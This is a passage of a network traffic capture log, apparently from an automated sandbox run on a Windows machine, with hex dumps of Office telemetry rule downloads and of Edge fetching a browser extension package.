2024-11-23 01:55:34 UTC	16384	IN	Data Raw: f0 ed c1 28 ad b4 0d d8 e4 1e f5 56 e3 0e db 15 fe 62 3b ff 00 9e 6b eb 5f da 0f f6 5a f0 ef 82 fe 1b ea 5e 20 d3 ef 35 83 a9 58 16 71 11 75 9a d2 e2 33 ce d5 6d a1 91 d4 6e 3c fd ec 7b 8c 7c 8f 21 8e 5c b2 06 1c 64 e4 7e 5f 53 53 1a 91 93 6b aa b5 d7 6b 8a a6 1e 54 e2 a5 7b a7 7b 3f 42 29 1d e2 46 4c fc ad ed 55 18 95 6c 81 f3 7d 6b ac f8 85 f0 eb c7 3e 09 d2 f4 bd 4f c4 da 04 f6 56 1a d4 22 6d 3e eb 7a c9 1c ea c3 23 95 27 69 20 f4 38 24 57 19 39 72 dd 4e 31 db b5 54 67 19 2b c5 dc ca a4 65 07 69 2b 12 3d cc 98 f9 80 3c fe 75 5e 6b 92 c7 76 76 8c 50 ce 43 64 1d de a4 ff 00 9e b4 c6 05 86 70 07 3c 0c 51 a1 1c cc 7a ea 37 28 9e 5f 98 ca aa 78 00 f4 a7 7d b2 59 15 8b 92 c5 86 0b 31 e6 a9 b0 fd e6 58 af e5 d6 9c a4 11 b0 e7 e6 f4 ef 59 ca 31 ec 5a 94 bb 9b Data Ascii: (Vb;k_Z^ 5Xqu3mn<{\|!\d~_SSkkT{{?B)FLUl}k>OV"m>z#'i 8$W9rN1Tg+ei+=<u^kvvPCdp<Qz7(_x}Y1XY1Z

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:33 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015533Z-178bfbc474bbcwv4hC1NYCypys00000003k000000000mfrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:33 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015534Z-174c587ffdfb74xqhC1TEBhabc000000027000000000fbee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:34 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:33 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015534Z-174c587ffdf8fcgwhC1TEBnn7000000002e000000000arq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:34 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:34 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015534Z-15b8b599d88wn9hhhC1TEBry0g000000029g00000000d0vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:34 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015534Z-178bfbc474bvjk8shC1NYC83ns00000003gg00000000t57p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49819	172.217.19.225	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:35 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:36 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4Xo5_SjgStmXZmUzjAeeP8QUbAteBHBzl6avEeNMgfbpVkNJ7Fknm4GZNSA_by5dHYTAw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Fri, 22 Nov 2024 16:45:00 GMT Expires: Sat, 22 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 33036 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 01:55:36 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
